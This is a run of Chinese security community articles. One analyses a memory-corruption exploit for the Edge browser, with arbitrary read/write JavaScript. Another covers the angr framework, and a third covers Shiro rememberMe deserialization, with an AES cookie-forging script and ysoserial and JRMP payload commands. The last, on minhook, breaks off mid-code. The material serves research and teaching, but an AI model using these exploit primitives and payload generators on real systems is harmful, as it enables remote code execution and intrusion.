来占用已释放的缓冲区内存。OOB漏洞不需要前面的释放buffer对象缓冲区代码，最终占位的是缓冲区4G后的空间。
代码如下：
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
｝
2）通过write向占位的arr写入标记，然后检测arr定位到占位成功的arr。OOB漏洞调用write写的时候，索引begin和end都需要加上0x40000000。
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
write(0x0e,0x00010,0x1000,1851880825);
if(arr[i][0]==1851880825)
{
1851880825
这个奇怪数值是什么呢？程序员看到这个数字大脑绝对是崩溃的，其实1851880825是”yuange”字符串中的”yuan”,25959是”yuange”中的”ge”,占位成功的话就拼接出”yuange”这个字符串。
然后利用占位的数组，精心的构造一个对象，
0x6e617579是标记，0x6567也是一个标记
//arr[i+1](arrvar) 的数据区紧邻arr[i](arrint)的数据区，都在释放了的buffer对象的缓冲区空间内
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0;
getarrint(i);
｝
｝
函数getarrint 的定义如下：
function getarrint(i)
{
arr[i].length=0x10000;
arrint=arr[i];
arrvar=arr[i+1];
write(0x09,0x001000,0x100000,0x0001000);
write(0x0a,0x001000,0x100000,0x0001000);
}
//这里两个write修改占位成功的arrint 对象的segment 的size和length 字段
下面可以看到已经成功修改了segment 的size和length字段
之前这个对象内存如下0x00000002
代表存储int的个数,从后面的内存可以看到，这里存储了0x6e617579和0x00006567两个值，0x6e617579是JIT代码写进来的，覆盖了arr[i][0]=0这个值。
修改这个有什么作用呢？其实此时已经得到了一个长度为0x1000的seg，
seg中元素个数为0x1000,此时就能越界对后面内存进行读写访问了。
这个先放在这，后面要用到。下一步就是伪造一个fakeview，进而完成任意地址读写。
3)此时的内存布局如下：
Buffer--------> --------------------------- | 0x20 内存块头部|
Arrint.seg--------->| |
| |
| |
| 0x3000 内存块|
| |
| |
Arrvar.seg———>| |
| |
| |
| |
| |
内存就是下面这样，注意连个地址之间相隔0x3020,中间是占位产生的数据
arrint是NativeIntArray,
其seg的size为0x802，每个元素的长度为4byte，共为0x802*4+0x20+0x18=0x2040bytes长度，然后因为内存页对齐的原因为0x3000byte，所以中间空余了0x3000。此时我们可以通过arrint越界去读写arrvar的buffer部分了，这就已经完成对象地址的泄露了。
function getobjadd(myvar)
{
arrvar[3]=myvar;
uint32[0]=arrint[0xc06];
return arrint[0xc07]*0x100000000+uint32[0];
}
4)紧接着通过调用fakeview 函数来伪造一个完全可控的TypedArray对象myview 实现任意地址读写。
var buffer1 = new ArrayBuffer(0x100);
var view1 = new Uint32Array(buffer1);
var view2 = new Uint32Array(buffer1);
var view3 = new Uint32Array(buffer1);
var view4 = new Uint32Array(buffer1);
function fakeview( )
{
arrint.length=0xffff0000; //arrint长度修改
arrvar[0]=buffer1;
arrvar[1]=view2;
arrvar[2]=0;
//修改arrint 的segment.next 指向view2+0x28
write(0x00000d,0x001000,0x100000,arrint[0xc03]);
write(0x00000c,0x001000,0x100000,arrint[0xc02]+0x28);
View+0x28位置是存放的buffer1对象的地址:
使用arrint[0xc00]越界就可以获取到buffer1对象地址0x186-e96a5300低4字节。
uint32[0]=arrint[0xc00];
index=uint32[0];
//中间使用unit32[0]是用来做符号转换的，index就是buffer1对象的地址低4字节。因为seg.next指向view2+0x28,view2+0x28的值为buffer1,所以下一个seg的seg.left就是buffer1的低4字节，这个段的索引号就是从index开始。
Seg的头长度0x18，后面接的是具体数组数据，这样0x28+0x18=0x40，view2对象的长度是0x40，这时候seg的数组数据区域就刚好指向下一个view对象0x186`e9800dc0，可能是紧挨着的view1或者view3。
//通过越界读复制view1或者view3 对象的0x40字节到view4 的buff 区域
for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];
//恢复segment.next
write(0x0d,0x0001000,0x100000,0);
write(0x0c,0x0001000,0x100000,0);
View4对象内存如下，View4的buffer地址为0x17e-e425ae40，现在这个已经是我们伪造出来的myview的结构体部分
myview 的内存布局如下：
arrint[0xc04]=view4[0x0e];
arrint[0xc05]=view4[0x0f];
// view4[0xe]和view4[0x0f]对应的就是view4引用的buffer1对象的数据缓冲区，也就是伪造的myview对象的地址，取出来保存到arrvar[2]位置。这样就把伪造的view对象通过arrvar[2]做对象引出，可以JS直接引用。
myview=arrvar[2];
}
得到了需要的伪造的TypedArray对象myview，整个对象结构体在view4里，可以通过view4去修改。myview 的内存布局如下：
myview是Uint32Array对象,结构体中存了一个64位数组数据缓冲区指针，我们已经具备了修改这个对象结构的能力，那么我们可以通过修改这个指针，通过类型数组做到任意地址读写。
5）此时myview 便伪造成功，由于myview 整个都在view4 的buff 空间中，所以view4 可以对myview
进行任意读写，而此时myview 也被edge 识别为Uint32Array 对象类型。即可实现任意读写，代码如下：
function readuint32(address)
{
view4[0x0e]=address%0x100000000;
view4[0x0f]=address/0x100000000;
return myview[0];
}
function writeuint32(address,num)
{
view4[0x0e]=address%0x100000000;
view4[0x0f]=address/0x100000000;
myview[0]=num;
}
加上前面已经实现的任意对象地址读取
function getobjadd(myvar)
{
arrvar[3]=myvar;
uint32[0]=arrint[0xc06];
return arrint[0xc07]*0x100000000+uint32[0];
}
这样可以获取任意我们需要的对象地址，然后读写和修改对象数据，继续bypass各种利用缓解措施，得到代码执行能力等，从这里开始就获得了和上帝一样的能力。
**0x04漏洞攻击(Fire Now!!!)**
攻击效果就是百发百中，指哪打哪。
**0x05 漏洞精华**
笔者才疏学浅，深知自己不能完全领会漏洞利用的全部，但是也总结一下调试过程中发现漏洞利用精华和奇妙的地方，
1） 这个漏洞在没有占位成功的时候，向已经释放的内存中写入数据并不会导致程序崩溃，这就大大的增加了漏洞利用程序的稳定性。
调试的时候，发现这个buffer在没有完成占位的情况下，对buffer的写入操作并不会崩溃,这个异常会被edge自己处理掉，不会导致崩溃发生，这样就会让exploit程序非常的稳定。也是非常感叹这是两个非常好用的神洞啊。也就是文中前面留下的那个神秘问题。
2）
漏洞利用精髓自然是DVE方法精确的数据控制能力，通过漏洞的内存修改能力,修改arrint对象的seg的数据结构,然后arrint和arrvar互相配合实现类型混淆，可以对对象任意读写伪造，这和cve-2014-6332的DVE利用代码的两个数组交错修改具有异曲同工之秒。完成任意地址读写，然后通过修改对象数据，打开“上帝模式”。
**0xFF总结**
通过上述分析，笔者逐渐领悟到DVE技术的精髓：通过修改关键数据结构来获取任意数据操纵的能力，这就是袁哥所说的“上帝之手”。然后借”上帝之手”绕过dep+alsr+cfg+rfg等漏洞防御技术，最后配合内核漏洞，完成整个Exploit
Chain的攻击。感谢分析过程中yuange的指导和实验室小伙伴的帮助，笔者能力有限，分析有误的地方还望大家指出。最后，欢迎对二进制漏洞研究感兴趣的小伙伴加入腾讯湛泸实验室，发送简历到yuangeyuan@tencent.com。
部分关键利用代码：
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
write(0x0e,0x00010,0x1000,1851880825);
if(arr[i][0]==1851880825)
{
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0;
getarrint(i);
fakeview();
document.write("<br><br> find i="+i+"<br>");
bypassdepcfg();
break;
}
}
function getarrint(i)
{
arr[i].length=0x10000;
arrint=arr[i];
arrvar=arr[i+1];
write(0x09,0x001000,0x100000,0x0001000);
write(0x0a,0x001000,0x100000,0x0001000);
}
function fakeview( )
{
arrint.length=0xffff0000;
arrvar[0]=buffer1;
arrvar[1]=view2;
arrvar[2]=0;
write(0x0d,0x001000,0x100000,arrint[0xc03]);
write(0x0c,0x001000,0x100000,arrint[0xc02]+0x28);
uint32[0]=arrint[0xc00];
index=uint32[0];
for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];
write(0x0d,0x0001000,0x100000,0);
write(0x0c,0x0001000,0x100000,0);
arrint[0xc04]=view4[0x0e];
arrint[0xc05]=view4[0x0f];
myview=arrvar[2];
} | 社区文章 |
# 【技术分享】angr:基于python的二进制分析框架
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **** **desword**
****](http://bobao.360.cn/member/contribute?uid=2634189913)
**预估稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**0.前言**
来看看这个集成框架在二进制代码分析的CTF中解决过哪些问题吧，下面是git中列举的解决过的CTF赛题：
其中，HackCon 2016 – angry-reverser花费31 min，SecurityFest 2016 –
fairlight花费20s，Defcamp CTF Qualification 2015 – Reversing 100和Reversing
200几乎都不要人工的干预，能够自动化的完成分析。这么逆天的功能，是不是要心动了？简直是CTF二进制的利器呀。下面我就来介绍一下这个神奇的工具angr。（注：本文仅作抛砖引玉的作用，更深入的工具用法和源码分析将在后续更新。）
在二进制代码中寻找并且利用漏洞是一项非常具有挑战性的工作，它的挑战性主要在于人工很难直观的看出二进制代码中的数据结构、控制流信息等。angr是一个基于python的二进制漏洞分析框架，它将以前多种分析技术集成进来，方便后续的安全研究人员的开发。它能够进行动态的符号执行分析（如，KLEE和Mayhem），也能够进行多种静态分析。
最近在许多的安全顶会（S&P, USENIX Security, CCS）上都见到有使用symbolic
execution这个框架，之后打算整理成一个专题来介绍它们的使用以及优缺点。
该项目的Github: [https://github.com/angr/angr](https://github.com/angr/angr)
**
**
**1\. angr的简要过程**
1）将二进制程序载入angr分析系统
2）将二进制程序转换成中间件语言（intermediate representation, IR）
3）将IR语言转换成语义较强的表达形式，比如，这个程序做了什么，而不是它是什么。
4）执行进一步的分析，比如，完整的或者部分的静态分析（依赖关系分析，程序分块）、程序空间的符号执行探索（挖掘溢出漏洞）、一些对于上面方式的结合。
**2\. angr的安装**
理论上来说angr目前支持linux、windows、MAC多个平台。但是支持的最好的还是linux平台。Windows平台下由于相关的依赖库文件较难安装，因此不太建议在windows上安装。
**Linux**
推荐的是14.04 的ubuntu, 16 和12 的版本都会出现不同的问题。
首先是按照依赖库，这个一般没什么问题：
sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper
virtualenvwrapper是一个python的虚拟环境，使用这个的主要原因是angr会对于libz3 or
libVEX产生修改，为了防止对已经安装的库的修改而影响到到之后其他程序的使用，使用一个python的虚拟机环境是一个不错的选择。
接着就是正式的安装，首先新建一个python的虚拟机环境：
mkvirutalenv angr
接着再是使用pip安装：
pip install angr
一些坑：
1\. 在新建的虚拟机环境angr中的python中，import angr, 出现ImportError: No module named
decorator这个错误，直接安装就好。
pip install decorator
还有一些其他的坑在angr的gitbook里面有，可以从[这里下载](http://pan.baidu.com/s/1jIiBfHO
"angr_book")
安装完成后，进入虚拟的python环境中，就可以载入angr库了：
$ mkvirtualenv angr
(angr) $ python
>> import angr
Linux 下 angr-dev脚本安装
还有一种简单的安装方式，就是pull这个github: [https://github.com/angr/angr-dev](https://github.com/angr/angr-dev)
直接在根目录下面运行这个shell脚本，可以自动配置virtualenv环境，安装angr库：
./setup.sh -i -e angr
接着可以通过下面的方式启动angr
$workon angr
(angr)$ipython
>>import angr
**MAC OS**
第一步也是依赖库：
pip install -I --no-use-wheel angr-only-z3-custom
完了就是安装：
pip install angr
**windows**
windows下面没有测试过，但是有一个网站上有人已经搜集了相关的资料：[https://github.com/Owlz/angr-Windows](https://github.com/Owlz/angr-Windows)
**3\. angr简单的例子**
这个简单的例子说明了angr的用法。样例程序来自于：<https://github.com/angr/angr-doc/tree/master/examples/fauxware>
以下是有漏洞的样例程序代码：
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
char *sneaky = "SOSNEAKY";
int authenticate(char *username, char *password)
{
char stored_pw[9];
stored_pw[8] = 0;
int pwfile;
// evil back d00r
if (strcmp(password, sneaky) == 0) return 1;
pwfile = open(username, O_RDONLY);
read(pwfile, stored_pw, 8);
if (strcmp(password, stored_pw) == 0) return 1;
return 0;
}
int accepted()
{
printf("Welcome to the admin console, trusted user!n");
}
int rejected()
{
printf("Go away!");
exit(1);
}
int main(int argc, char **argv)
{
char username[9];
char password[9];
int authed;
username[8] = 0;
password[8] = 0;
printf("Username: n");
read(0, username, 8);
read(0, &authed, 1);
printf("Password: n");
read(0, password, 8);
read(0, &authed, 1);
authed = authenticate(username, password);
if (authed) accepted();
else rejected();
}
整个样例程序的功能就是让你输入用户名和密码，然后authenticate函数会进行检验，如果失败就显示Go
away，反之就显示认证成功。我们来看看怎么来用angr挖掘出这个程序的验证码。（这个程序实际上非常简单，简单的利用OD或者IDA就能立刻看出来，但是为了介绍angr的基本功能，就使用了这个简单的例子）
1\. 首先，需要进入虚拟python环境，并导入angr库。
$ mkvirutalenv angr
(angr) $ python
>>> import angr
2\. 新建一个angr的工程。Project()中是目标二进制程序的路径。
>>> p = angr.Project(‘./< path > /fauxware’)
3\. 接着新建一个SimState的对象。
SimState的对象在angr其中的一个子模块SimuVEX中，它追踪且记录着符号信息、符号对应的内存信息和符号对应的寄存器信息，以及打开的文件信息等。你可以通过”Project.factory”这个容器中的任何一个来获取一个SimState对象，这个factory有很多类型，如：factory.block,
factory.entry_state
等，详细可以看[文档](http://pan.baidu.com/s/1jIiBfHO)。这里使用factory.entry_state这个容器表示返回一个初始化到二进制入口函数的SimState对象。
>>> state = p.factory.entry_state()
4\. 接着，我们使用factory.path这个容器获取state的起点path对象。
我的理解是相当于path的开端，之后将沿着这个开端往后进行。对于这个path对象的深入解释也在[文档](http://pan.baidu.com/s/1jIiBfHO)中p64.
>>> path = p.factory.path(state)
5\.
我们根据前面获取的函数入口点的path对象，利用path_group容器获取沿着path开端下面将会执行的path列表，详细的path_group对象的解释在文档中p70.
>>> pathgroup = p.factory.path_group(path)
6\.
接下来就让pathgroup对象一直执行下去，直到执行到可选择的路径个数大于一个，即产生选择分支的时候，再停止。对应在上述的简单程序中authenticate函数的
if (strcmp(password, sneaky) == 0)这个条件判断语句。
>>> pathgroup.step(until=lambda lpg: len(lpg.active) > 1)
7\. dump出所有分支的内容，看看哪个答案应该是最可能的。
>>> for I in range(len(pathgroup.active)):
>>>. . . . print “possible %d: ” % I , pathgroup.active[i].state.posix.dumps(0)
对于解决这种问题的基本用法可以是这样，为了提高效率，还可以自己挖掘一些基于此框架的更加trick的方法。
**总结**
以上就是angr二进制分析框架基本功能的介绍，更多花式的用法和原理性的知识可以查看angr的github项目。Symbolic
execution最近较为火热，KLEE和Mayhem也是两项较为典型的开源工具，学习这些工具能够更好的提高我们二进制分析，漏洞跟进的效率。 | 社区文章 |
# 关于Shiro反序列化漏洞的一些思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Shiro反序列化虽然被很多大佬们在前几年的学习中都总结的差不多了，但有些知识的总结思考还不是很具体。本文主要以抛出问题的方式，努力寻找在实际调试过程中遇到问题的真实答案，最后结合前辈们总结的知识点也用实践检验了知识点，特此记录。
## 0x01 漏洞简介
### 0x1 介绍
Shiro是一个强大而灵活的开源安全框架，它非常简单的处理身份认证，其中提供了登录时的RememberMe功能，让用户在浏览器关闭重新打开后依然能恢复之前的会话。
此次分析的漏洞是一个标准的反序列化漏洞，其原理是Cookie中的rememberMe字段使用AES加密及Base64编码的方式储存用户身份信息，因此我们只要能够伪造Cookie并且让服务器正确的解密后反序列化任意对象，就可以造成一定的危害。
其实Shiro反序列化的漏洞触发和加解密分析都是比较简单的部分，最难的地方在于反序列化利用的部分， **坑点全在这里** 。
### 0x2 漏洞适用版本
1.2.4版本及以下，整体流程是Base64解码—>AES解密—>反序列化。
我们从环境搭建开始一步步了解并掌握其中的知识。
## 0x02 环境搭建
### 0x1 docker 容器下载
docker run -d -p 8080:8080 -p 5006:5006 medicean/vulapps:s_shiro_1
直接使用docker构建相关研究环境，该环境没有配置调试选项，需要自己手动开启调试。
### 0x2 开启调试
在docker中的catalina.sh里添加调试信息
vi /usr/local/tomcat/bin/catalina.sh
服务端监听5006端口，等待接受来自客户端的调试数据。
## 0x03 漏洞分析
该漏洞是一个标准的反序列化漏洞，只不过在反序列化之前进行了加解密操作，使得步骤相对复杂了一些。为了加快分析速度，本文采用关键点分析法，重点分析如何识别加密算法、反序列化触发点、反序列化利用。在这之前首先分析该框架如何进行路由处理的。
### 0x0 路由处理
Shiro在搭建服务的时候选择的Tomcat 标准架构，我们重点分析web.xml中的相关配置，我们从配置文件中看出，不论访问什么路由都会匹配到
**ShiroFilter** 这个拦截器进行处理。
然而这次漏洞出现的位置恰巧就在这个Filter中，不断跟进找到了一处关于Remember身份认证的调用，如下图所示。
可以粗略的猜测关于rememberMe的处理就在这个函数中，关于路由分析部分就先讲到这里。关于怎么构造数据包，我采用的是在登陆界面选中Remember
Me选项，从BurpSuite 或是浏览器中获取数据包。
### 0x1 识别加密算法
从上面分析到的resolvePrincipals函数继续向下分析，整个调用链如下
通过分析上图可以很清晰的看到decrypt和deserialize函数在同一个函数中进行调用。我们首先重点分析使用的什么算法进行加解密。直接将代码定位到convertBytesToPrincipals函数，该函数如下图所示。
通过动态调试的方式跟进decrypt函数，看一看其中发生了什么事。在decrypt函数中发现了 **加密套件** ，该加密算法采用AES
CBC模式并且采用PKCS5Padding模式进行填充。
那么关于该算法这里不做过多的讲解，我们只需要知道该算法在加解密的时候需要知道 **加解密密钥** 以及 **初始化向量**
，接下来就要分析如何得到这两个重要的变量。
首先是 **加解密密钥**
，其实在上面截图中就能看到this.getDecryptionCipherKey函数是获取密钥的函数，跟进发现返回一个变量，该变量通过setCipherService函数进行赋值。
上面三个函数调用为了给加解密密钥赋值，那么这个加解密密钥到底是什么，在低版本中这个base64编码就是我们想要的答案。
继续分析 **初始化向量**
，cipherService.decrypt函数会初始化iv变量，通过调试发现，初始化向量的值为0，之后会在密文中取出前16个字节当作iv，因此iv值和密文我们可以控制。
那么到这里其实可以写出加密脚本了
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = ('0'*16).encode("utf8")
encryptor = AES.new(base64.b64decode(key), mode, IV)
payload=base64.b64decode(sys.argv[1])
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)
print(base64.b64encode(IV + encryptor.encrypt(payload)))
### 0x2 反序列化触发点
反序列化的点在AES解密代码之后，红线部分为反序列化的最原始函数。
继续跟进该函数，可在第二层deserialize函数处发现readObject函数的调用。
## 0x04 问题剖析
之前公开资料中关于这个洞最大的争议就在 commons-collections3序列化链中的Transfomer数组加载不成功到底是什么原因造成的。从宏观的角度讲，在shiro利用方面可以简单的把反序列化利用链分为
**带数组型** 和 **无数组型** 两种情况。
根据这个分类又细分了以下几个类型
* **无数组型** commons-collections4
* **无数组型** commons-collections3
* **有数组型** commons-collections3
* **无数组型** commons-beanutils
说到底shiro反序列化之所以这么折腾，是因为他自己重写了resolveClass函数，在反序列化的时候我们实际调用的是ClassUtils.forName
下面的是正常ObjectInputStream的resolveClass代码实现，可以看到使用了Class.forName进行类的加载操作
回过头看看shiro自己实现的forName都干了什么事，这个ClassUtils其实就是shrio自己实现的类解析，其中调用了各种Classloader的loadClass方法进行加载。
在具体分析之前我们首先了解一些前置知识，Class.forName和Classloader.loadClass到底有什么区别以及共同之处？
### 0x0 前置知识
* Class.forName不支持原生类型，但其他类型都是支持的
* Class.loadClass不能加载原生类型和数组类型，其他类型都是支持的
* 类加载和当前调用类的Classloader有关
这里的原生类型指的是byte、short、int、long、float、double、char、boolean。需要特别注意的是Class.loadClass
**不支持加载数组类型** 。
关于共同之处简单的讲这两个类加载都是基于ClassLoader进行的，关于ClassLoader将会单独写一篇文章进行学习，这里只需要记住ClassLoader制定了类搜索路径，这就意味着如果ClassLoader不对那么将永远不会加载出需要的类。
比较巧的是shiro在反序列化的时候使用了tomcat自己实现的WebappClassLoader，这个ClassLoader里面既有loadclass又有forName方法，因此出现了一些奇奇怪怪的
**类加载灵异事件** 。
上面是ClassUtils::forName在加载类的时候会调用执行的代码，我们下面通过分析几个问题，理解并运用一开始提出的三个前置知识。
### 0x1 问题一 部分shiro目标不能反序列化Transformer数组
是真的不能反序列化数组吗？还是只是不能反序列化Transformer数组？如果是那么为什么可以反序列化Transformer却不能反序列化Transformer数组呢？
疯狂三连问，我们在本小节一一解答。首先shiro是可以反序列化数组的，我们参照 <https://xz.aliyun.com/t/7950#toc-4>
中提到的数组类型，编写代码并构造了StackTraceElement数组，相关代码如下。
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Test {
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static void main(String[] args) throws Exception {
Object[] xx = new StackTraceElement[]{new StackTraceElement("1","2","2",1)};
System.out.println(Base64.getEncoder().encodeToString(serialize(xx)));
}
}
看下shiro是怎么把这个数组反序列化的，从结果看Class.forName就能做到，因为StackTraceElement存在于rt.jar中，由BootStrapClassLoader加载，所以其classloader为null。
这么看来shiro中还是可以反序列化数组的，只不过不能反序列化WEB-INFO/lib中的类。因为那里面的类加载使用的classloader。那么这就回答了前两个问题，shiro只是不能反序列化Transformer数组。
要回答第三个问题需要跟进一层，一开始对name进行了转化，规则简单描述为将.替换为/并且在最后面添加.class后缀
如图所示的path已经变形了，在resourceEntries中寻找path这个值恐怕是找不到的。
### 0x2 问题二 不同时期的forName函数执行结果不一致
学习大佬博客的时候有几个大佬指出了一个比较有意思的现象。在代码运行的不同时期去执行forName方法会的其结果有很大的差别。具体表现为在ClassUtils的loadClass方法中执行Class.forName(fqcn)可以获取到Transformer数组。
然而在跟进一层之后到WebappClassLoaderBase的loadClass方法中就不能加载Transformer数组了。这个现象的背后其实是classloader在作怪，我们细细的看一下Class.forName中实现逻辑
Reflection.getCallerClass可以得到调用者的类，那么根据这个逻辑我们在执行Class.forName函数时的Classloader就可以利用代码执行出来。
比如在WebappClassLoaderBase中执行Class.forName时的ClassLoader为URLCLassLoader，这里面以及他的父类是没有Transformer代码的，因此无法加载该类型数组。
在进入该代码之前，也就是ClassUtils的loadClass方法中查看forName的ClassLoader，可以从下面的调试信息中看到该ClassLoader为webappClassLoader，里面都是WEB-INF/lib下面的jar包，因此可以反序列化Transformer数组。
## 0x05 反序列化利用
了解了在shiro反序列化漏洞利用时的一些坑之后我们逐一对以下四种利用方式进行详细的分析。
根据这个分类又细分了以下几个类型
* **无数组型** commons-collections4
* **无数组型** commons-collections3
* **有数组型** commons-collections3
* **无数组型** commons-beanutils
* **无数组型** JRMP
这四种类型是针对目标上部署了不同种类和版本的依赖库进行的利用。在这四种利用方式中，第二种无数组型CC3是当时[wh1t3p1g](https://www.anquanke.com/member/144709)师傅把CC2和CC6两条链拼接在了一起。因此在分析shiro利用链的同时将之前分析的cc链的利用方式也顺便回顾下。打算以后开个专题专门分析Java反序列化利用链的挖掘以及构造方式，先挖个坑。这里ysoserial中的反序列化链就不展开讲了，有疑惑的小伙伴可以看看之前写的专题。
### 0x1 无数组型commons-collections4利用链
**使用场景**
因为shiro本身是无法反序列化在WEB-INF/lib依赖库中数组类型的，因此如果出现shiro服务上部署了commons-collections4依赖库，我们就可以使用ysoserial中的CC2进行攻击。
使用方式如下
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2 "touch /tmp/xxxx" > /tmp/1.txt
cat /tmp/1.txt|base64
python3 crypt1.py base64Content
### 0x2 无数组型commons-collections3利用链
**使用场景**
这种情况适用于shiro上只有commons-collections3依赖库，并且该库存在于WEB-INF/lib中。
我们能否将ysoserial上的反序列化利用链按照它的要求改一改呢？那么我们首先要确定的是寻找无数组型的命令执行。碰巧的是在ysoserial工具中存在templatesImpl，利用字节码加载利用代码。
关于反序列化链的组合其实有很多种，其难点在于最终的调用链和封装链在逻辑上有很大的差异。我们最终要实现无数组反序列化利用链，有个简单的思路，使用templatesImpl命令执行，那么最后就要执行templatesImpl对象的newTransformer方法。反观整个ysoserial
CC系列利用链，我们 **可以进行任意对象方法调用** 的梳理了下，总共有以下几种方式
1. 通过Transformer数组链式调用构造好参数的InvokerTransformer利用链， **特点是无需动态传递参数**
2. 使用TransformingComparator执行transform方法， **需要构造参数传递链**
3. TiedMapEntry向LazyMap传递可控参数key，并调用LazyMap中的transform方法， **需要构造参数传递链**
简单分析这几个方式，第一种利用了Transformer数组，不太适合shiro的反序列化利用场景；第二种是commons-collections4的利用特性，在commons-collections3中TransformingComparator不可序列化；那么第三种就比较满足我们的需求了，可以通过一次transform调用执行传递过来key对象的任意方法。
为了方便构造，直接使用之前分析的CC链时的代码进行拼接，主要代码逻辑如下
final Object templates = createTemplatesImpl("touch /tmp/asdf");
final Transformer transformerChain = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
使用TiedMapEntry在构造方法中的key参数向lazyMap的get方法传递，之后再向transformerChain的transform方法传递，最后实现调用templates对象的newTransformer方法。
TiedMapEntry的构造方法如下，在执行toString方法的时候触发getValue方法，间接调用map.get(this.key)
LazyMap的相关调用如下，成功将key传向transformerChain
最后的反序列化执行流如下，但这并不意味着构造流程，在构造的时候我们更多关注的是不同类之间的依赖关系。
完整代码链接
<https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/shiro_CC5_2>
### 0x3 有数组型commons-collections3利用链
**使用场景**
在shiro服务器上的tomcat lib目录中部署了commons-collections3.jar，如下图所示
使用方式如下
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections6 "touch /tmp/xxxx" > /tmp/1.txt
cat /tmp/1.txt|base64
python3 crypt1.py base64Content
在复现有数组利用链的时候有个坑，因为服务使用的JDK为1.8，所以在使用cc链的时候要注意，不要采用在JDK1.7下才可用的利用链。
### 0x4 无数组型commons-beanutils利用链
**使用场景**
这种情况适用于shiro上拥有commons-beanutils依赖库，并且该库存在于WEB-INF/lib中。
使用方式如下
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsBeanutils1 "touch /tmp/xasdf" > /tmp/1.txt
cat /tmp/1.txt|base64
python3 crypt1.py base64Content
### 0x5 无数组型JRMP利用链
**使用场景**
目标可以出网，不需要任何依赖
本地先用ysoserial起一个JRMPListener：
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'touch /tmp/xsdfa'
再执行
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "192.168.0.102:1099" > /tmp/1.txt
cat /tmp/1.txt|base64
python3 crypt1.py base64Content
crypt1.py 脚本链接 <https://github.com/BabyTeam1024/shiro_vul>
## 0x06 总结
从shiro
反序列化中学习到了classloader在加载类的时候的一些知识，打算有时间单独学习总结下，在这次学习过程中又再一次感受到了反序列化的艺术魅力，文笔粗糙，有啥知识点描述不对的地方还请大家指正。
## 0x07 参考文献
<https://blog.zsxsoft.com/post/35>
[https://xz.aliyun.com/t/7950](https://xz.aliyun.com/t/7950#toc-3)
<https://www.faiz2035.top/posts/shiro-550-simple-analysis-2/>
<https://www.anquanke.com/post/id/192619>
<https://juejin.cn/post/6844904114543919111>
<https://www.zhihu.com/question/46719811>
<https://buaq.net/go-38939.html> | 社区文章 |
## minhook源码阅读分析
minhook是一个inline
Hook的库，同时支持x32和x64系统，并且是开源的，地址在这里<https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-API-Hooking-Libra>。下面就简单的分析一下它的工作过程。
### 0x1 调用实例
首先看一下官网上给出的c的调用的例子：
#include <Windows.h>
#include "./include/MinHook.h"
typedef int (WINAPI *MESSAGEBOXW)(HWND, LPCWSTR, LPCWSTR, UINT);
// Pointer for calling original MessageBoxW.
MESSAGEBOXW fpMessageBoxW = NULL;
// Detour function which overrides MessageBoxW.
int WINAPI DetourMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)
{
return fpMessageBoxW(hWnd, L"Hooked!", lpCaption, uType);
}
int main()
{
// Initialize MinHook.
if (MH_Initialize() != MH_OK)
{
return 1;
}
// Create a hook for MessageBoxW, in disabled state.
if (MH_CreateHook(&MessageBoxW, &DetourMessageBoxW,
reinterpret_cast<LPVOID*>(&fpMessageBoxW)) != MH_OK)
{
return 1;
}
// or you can use the new helper function like this.
//if (MH_CreateHookApiEx(
// L"user32", "MessageBoxW", &DetourMessageBoxW, &fpMessageBoxW) != MH_OK)
//{
// return 1;
//}
// Enable the hook for MessageBoxW.
if (MH_EnableHook(&MessageBoxW) != MH_OK)
{
return 1;
}
// Expected to tell "Hooked!".
MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
// Disable the hook for MessageBoxW.
if (MH_DisableHook(&MessageBoxW) != MH_OK)
{
return 1;
}
// Expected to tell "Not hooked...".
MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
// Uninitialize MinHook.
if (MH_Uninitialize() != MH_OK)
{
return 1;
}
return 0;
}
### 0x2 初始化钩子的过程
根据这个调用流程跟踪一下源代码，首先看`MH_Initialize`函数，此函数就干了一件事情，初始化了一个大小自增长的堆，并将堆的句柄存储在全局变量`g_hHeap`中。
g_hHeap = HeapCreate(0, 0, 0);
接下来就是创建hook的过程了，这里需要注意几个结构体：
struct
{
PHOOK_ENTRY pItems; // Data heap
UINT capacity; // Size of allocated data heap, items
UINT size; // Actual number of data items
